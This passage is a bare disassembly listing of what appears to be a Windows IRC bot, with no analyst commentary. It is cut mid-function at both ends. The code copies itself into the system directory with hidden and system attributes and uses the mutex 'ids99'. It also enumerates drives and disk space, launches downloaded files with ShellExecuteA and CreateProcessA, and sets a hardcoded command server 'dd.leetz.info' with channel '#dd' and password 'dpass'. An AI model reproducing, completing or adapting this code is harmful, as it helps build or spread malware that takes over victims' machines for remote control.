loc_40BD94:				; CODE XREF: sub_40BBF7+196j
		push	eax
		call	sub_415316
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40BCD8


loc_40BDA6:				; CODE XREF: sub_40BBF7+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_40BDFB
		cmp	edi, [ebp+var_3C]
		jz	short loc_40BDFB
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_42C038
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412BD1
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B078
		add	esp, 28h


loc_40BDFB:				; CODE XREF: sub_40BBF7+1B9j
					; sub_40BBF7+1BEj
		call	dword_42104C	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_42106C	; CloseHandle
		push	[ebp+var_1C]
		call	sub_415C9B
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_40BE85
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40B363
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_40BE85
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42BFFC
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412BD1
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B078
		add	esp, 28h


loc_40BE85:				; CODE XREF: sub_40BBF7+236j
					; sub_40BBF7+248j
		cmp	[ebp+var_14], esi
		jz	loc_40C0BD
		cmp	[ebp+var_44], 1
		push	ecx
		lea	eax, [ebp+var_148]
		push	ecx
		jz	loc_40BF80
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_421660
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_421660
		fstp	[esp+590h+var_590]
		push	offset unk_42BFB0
		push	eax
		call	sub_415316
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40BF00
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412BD1
		add	esp, 14h


loc_40BF00:				; CODE XREF: sub_40BBF7+2E7j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B078
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_40C0BD
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_43C998	; ShellExecuteA
		cmp	[ebp+var_30], esi
		jnz	loc_40C0BD
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_42BF74
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412BD1
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B078
		add	esp, 24h
		jmp	loc_40C0BD
; ---------------------------------------------------------------------------


loc_40BF80:				; CODE XREF: sub_40BBF7+2A3j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_421660
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_421660
		fstp	[esp+590h+var_590]
		push	offset unk_42BF20
		push	eax
		call	sub_415316
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40BFE0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412BD1
		add	esp, 14h


loc_40BFE0:				; CODE XREF: sub_40BBF7+3C7j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B078
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415390
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415390
		add	esp, 1Ch
		lea	eax, [ebp+var_10]
		mov	[ebp+var_310], edi
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		inc	edi
		push	eax
		push	esi
		mov	[ebp+var_304], offset byte_43B658
		mov	[ebp+var_2E4], edi
		mov	[ebp+var_2E0], si
		call	dword_4210EC	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_40C062
		call	dword_43C984	; WSACleanup
		call	sub_409D34
		push	esi
		call	dword_421114	; ExitProcess


loc_40C062:				; CODE XREF: sub_40BBF7+457j
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_42BED0
		jmp	short loc_40C07C
; ---------------------------------------------------------------------------


loc_40C070:				; CODE XREF: sub_40BBF7+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42BE8C


loc_40C07C:				; CODE XREF: sub_40BBF7+477j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40C0B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412BD1
		add	esp, 14h


loc_40C0B0:				; CODE XREF: sub_40BBF7+497j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B078
		pop	ecx


loc_40C0BD:				; CODE XREF: sub_40BBF7+291j
					; sub_40BBF7+31Aj ...
		push	[ebp+var_18]
		call	dword_43CA58	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_4150F0
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
sub_40BBF7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C0D6	proc near		; CODE XREF: sub_40BBF7+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40C0F2


loc_40C0E2:				; CODE XREF: sub_40C0D6+1Aj
		mov	dl, byte_42C258
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40C0E2

locret_40C0F2:				; CODE XREF: sub_40C0D6+Aj
		retn
sub_40C0D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C0F3	proc near		; CODE XREF: sub_40CD3A+2878p
					; sub_40CD3A+29E5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_417729
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40C0F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C10D	proc near		; CODE XREF: sub_4062F7+462p
					; sub_4062F7+5FEp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_440DE0
		push	0
		push	edi
		call	sub_415390
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_40C132:				; CODE XREF: sub_40C10D+5Bj
					; sub_40C10D+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_417100
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_417180
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40C170
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40C132
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40C132
; ---------------------------------------------------------------------------


loc_40C170:				; CODE XREF: sub_40C10D+4Bj
		mov	eax, edi
		jmp	short loc_40C179
; ---------------------------------------------------------------------------


loc_40C174:				; CODE XREF: sub_40C10D+72j
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax


loc_40C179:				; CODE XREF: sub_40C10D+65j
		dec	esi
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jnb	short loc_40C174
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C10D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C18B	proc near		; CODE XREF: sub_40C337+51p
					; sub_40C337+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43CA84	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_40C1CE
		dec	eax
		jz	short loc_40C1C8
		dec	eax
		dec	eax
		jz	short loc_40C1C2
		dec	eax
		jz	short loc_40C1BC
		dec	eax
		jz	short loc_40C1B6
		dec	eax
		jz	short loc_40C1B0
		mov	eax, offset word_42B85C
		retn
; ---------------------------------------------------------------------------


loc_40C1B0:				; CODE XREF: sub_40C18B+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------


loc_40C1B6:				; CODE XREF: sub_40C18B+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_40C1BC:				; CODE XREF: sub_40C18B+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_40C1C2:				; CODE XREF: sub_40C18B+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_40C1C8:				; CODE XREF: sub_40C18B+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_40C1CE:				; CODE XREF: sub_40C18B+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40C18B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C1D4	proc near		; CODE XREF: sub_40C21C+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_43C920
		test	eax, eax
		jz	short loc_40C209
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_40C209:				; CODE XREF: sub_40C1D4+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40C1D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C21C	proc near		; CODE XREF: sub_40A9D8+1F3p
					; sub_40C337+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40C1D4
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C2F4
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C2F4
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C2F4
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_417770
		push	edx
		push	eax
		call	sub_40C10D
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_417770
		push	edx
		push	eax
		call	sub_40C10D
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_417770
		push	edx
		push	eax
		call	sub_40C10D
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 18h
		pop	ebx
		jmp	short loc_40C323
; ---------------------------------------------------------------------------


loc_40C2F4:				; CODE XREF: sub_40C21C+2Cj
					; sub_40C21C+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_415316
		add	esp, 18h


loc_40C323:				; CODE XREF: sub_40C21C+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40C21C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C337	proc near		; CODE XREF: sub_40C409+17p
					; sub_40C409+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40C21C
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_415730
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40C3AA
		push	ebx
		push	ebx
		call	sub_40C18B
		pop	ecx
		push	eax
		push	offset dword_42C1E0
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41588A
		add	esp, 14h
		jmp	short loc_40C3DE
; ---------------------------------------------------------------------------


loc_40C3AA:				; CODE XREF: sub_40C337+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40C18B
		pop	ecx
		push	eax
		push	offset dword_42C190
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41588A
		add	esp, 20h


loc_40C3DE:				; CODE XREF: sub_40C337+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40B078
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C409	proc near		; CODE XREF: sub_40CD3A+51BEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40C42A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C337
		add	esp, 10h
		jmp	short loc_40C489
; ---------------------------------------------------------------------------


loc_40C42A:				; CODE XREF: sub_40C409+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_43C994	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_415BE9
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_43C994	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40C480


loc_40C44E:				; CODE XREF: sub_40C409+75j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C471
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C337
		add	esp, 10h


loc_40C471:				; CODE XREF: sub_40C409+54j
		push	esi
		call	sub_415B10
		lea	esi, [esi+eax+1]
		pop	ecx
		cmp	[esi], bl
		jnz	short loc_40C44E


loc_40C480:				; CODE XREF: sub_40C409+43j
		push	edi
		call	sub_415C9B
		pop	ecx
		pop	edi
		pop	esi


loc_40C489:				; CODE XREF: sub_40C409+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40C409	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C48C	proc near		; DATA XREF: sub_40C574+11o

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_441BA4
		call	dword_43CABC	; closesocket
		call	sub_414F9D
		call	dword_43C984	; WSACleanup
		call	dword_43C984	; WSACleanup
		mov	ebx, dword_421060
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415390
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_415390
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43B658
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_421058	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	dword_42107C	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	dword_4210EC	; CreateProcessA
		test	eax, eax
		jz	short loc_40C551
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, dword_42106C
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_40C551:				; CODE XREF: sub_40C48C+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_440E14
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_421114	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx
sub_40C48C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C574	proc near		; CODE XREF: .text:00417BE1p

var_988		= byte ptr -988h
var_884		= byte ptr -884h
var_883		= byte ptr -883h
var_6F4		= byte ptr -6F4h
var_5F4		= byte ptr -5F4h
var_4F0		= byte ptr -4F0h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_1E8		= byte ptr -1E8h
var_E4		= byte ptr -0E4h
var_64		= dword	ptr -64h
var_58		= dword	ptr -58h
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], offset sub_40C48C
		push	[ebp+var_8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		cmp	dword_42C24C, ebx
		jz	short loc_40C5AA
		call	sub_409EBC


loc_40C5AA:				; CODE XREF: sub_40C574+2Fj
		mov	esi, dword_42104C
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_46AE88, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_415368
		pop	ecx
		call	sub_40891C
		push	2
		call	dword_43CAD0	; SetErrorMode
		push	7530h
		push	offset aIds99	; "ids99"
		push	ebx
		push	ebx
		call	dword_42112C	; CreateMutexA
		push	eax
		call	dword_421128	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40C5FE
		push	1
		call	dword_421114	; ExitProcess


loc_40C5FE:				; CODE XREF: sub_40C574+80j
		lea	eax, [ebp+var_884]
		push	eax
		push	202h
		call	dword_43C99C	; WSAStartup
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	loc_40CA4F
		cmp	[ebp+var_884], 2
		jnz	loc_40CA49
		xor	eax, eax
		mov	al, [ebp+var_883]
		cmp	al, 2
		jnz	loc_40CA49
		mov	esi, 104h
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		call	dword_421058	; GetSystemDirectoryA
		lea	eax, [ebp+var_2EC]
		push	esi
		push	eax
		push	ebx
		call	dword_4210C8	; GetModuleHandleA
		push	eax
		call	dword_42107C	; GetModuleFileNameA
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	eax
		call	sub_4171E8
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp+var_5F4]
		push	esi
		push	eax
		call	sub_41588A
		lea	eax, [ebp+var_3F0]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_4158E0
		add	esp, 30h
		test	eax, eax
		jnz	loc_40C852
		cmp	dword_46AFF4, ebx
		mov	esi, offset byte_42C2B4
		jz	short loc_40C6F9
		push	esi
		xor	edi, edi
		call	sub_415B10
		sub	eax, 4
		pop	ecx
		jz	short loc_40C6F9


loc_40C6D6:				; CODE XREF: sub_40C574+183j
		call	sub_415372
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42C2B4[edi], dl
		inc	edi
		call	sub_415B10
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40C6D6


loc_40C6F9:				; CODE XREF: sub_40C574+152j
					; sub_40C574+160j
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_415316
		add	esp, 10h
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_421094	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C739
		lea	eax, [ebp+var_1E8]
		push	80h
		push	eax
		call	dword_4210F4	; SetFileAttributesA


loc_40C739:				; CODE XREF: sub_40C574+1B1j
		mov	esi, dword_421124
		xor	edi, edi
		jmp	short loc_40C765
; ---------------------------------------------------------------------------


loc_40C743:				; CODE XREF: sub_40C574+204j
		call	dword_421088	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_40C77A
		cmp	eax, 20h
		jz	short loc_40C757
		cmp	eax, 5
		jnz	short loc_40C77A


loc_40C757:				; CODE XREF: sub_40C574+1DCj
		xor	edi, edi
		push	3A98h
		inc	edi
		call	dword_421060	; Sleep


loc_40C765:				; CODE XREF: sub_40C574+1CDj
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		call	esi	; CopyFileA
		test	eax, eax
		jz	short loc_40C743


loc_40C77A:				; CODE XREF: sub_40C574+1D7j
					; sub_40C574+1E1j
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_409C6E
		pop	ecx
		lea	eax, [ebp+var_1E8]
		push	7
		push	eax
		call	dword_4210F4	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		call	sub_415390
		push	44h
		lea	eax, [ebp+var_64]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_415390
		mov	[ebp+var_64], esi
		xor	esi, esi
		inc	esi
		add	esp, 18h
		mov	[ebp+var_58], offset byte_43B658
		mov	[ebp+var_38], esi
		mov	[ebp+var_34], bx
		call	dword_421120	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	dword_42111C	; OpenProcess
		lea	ecx, [ebp+var_2EC]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_988]
		push	offset dword_43372C
		push	eax
		call	sub_415316
		add	esp, 14h
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_988]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_4210EC	; CreateProcessA
		test	eax, eax
		jz	short loc_40C852
		push	0C8h
		call	dword_421060	; Sleep
		push	[ebp+var_1C]
		mov	esi, dword_42106C
		call	esi	; CloseHandle
		push	[ebp+var_18]
		call	esi	; CloseHandle
		call	dword_43C984	; WSACleanup
		push	ebx
		call	dword_421114	; ExitProcess


loc_40C852:				; CODE XREF: sub_40C574+141j
					; sub_40C574+2B4j
		cmp	dword_46BB20, 2
		jle	short loc_40C89E
		mov	eax, dword_46BB24
		push	dword ptr [eax+4]
		call	sub_41587F
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	dword_421128	; WaitForSingleObject
		push	esi
		call	dword_42106C	; CloseHandle
		mov	eax, dword_46BB24
		cmp	[eax+8], ebx
		jz	short loc_40C89E
		push	7D0h
		call	dword_421060	; Sleep
		mov	eax, dword_46BB24
		push	dword ptr [eax+8]
		call	dword_421118	; DeleteFileA


loc_40C89E:				; CODE XREF: sub_40C574+2E5j
					; sub_40C574+30Fj
		cmp	dword_42C254, ebx
		jz	short loc_40C8BB
		cmp	dword_43CAF0, ebx
		jnz	short loc_40C8BB
		lea	eax, [ebp+var_5F4]
		push	eax
		call	sub_40B2B9
		pop	ecx


loc_40C8BB:				; CODE XREF: sub_40C574+330j
					; sub_40C574+338j
		lea	eax, [ebp+var_E4]
		push	offset dword_433700
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_E4]
		push	ebx
		push	eax
		call	sub_414DDA
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_40B078
		push	0B80h
		push	ebx
		push	offset dword_440E18
		call	sub_415390
		call	sub_415372
		push	7Fh
		push	offset aDd_leetz_info ;	"dd.leetz.info"
		push	offset dword_46AE94
		mov	dword_46B004, ebx
		call	sub_416BE0
		mov	eax, dword_42C238
		push	3Fh
		mov	edi, offset dword_46AF14
		push	offset aDd_0	; "#dd"
		push	edi
		mov	dword_46AFE4, eax
		call	sub_416BE0
		push	3Fh
		mov	esi, offset dword_46AF54
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_416BE0
		add	esp, 48h
		mov	dword_46AFE8, ebx


loc_40C949:				; CODE XREF: sub_40C574+47Bj
					; sub_40C574+486j ...
		mov	[ebp+var_4], ebx


loc_40C94C:				; CODE XREF: sub_40C574+42Fj
		cmp	dword_43CB08, ebx
		jnz	short loc_40C96A
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
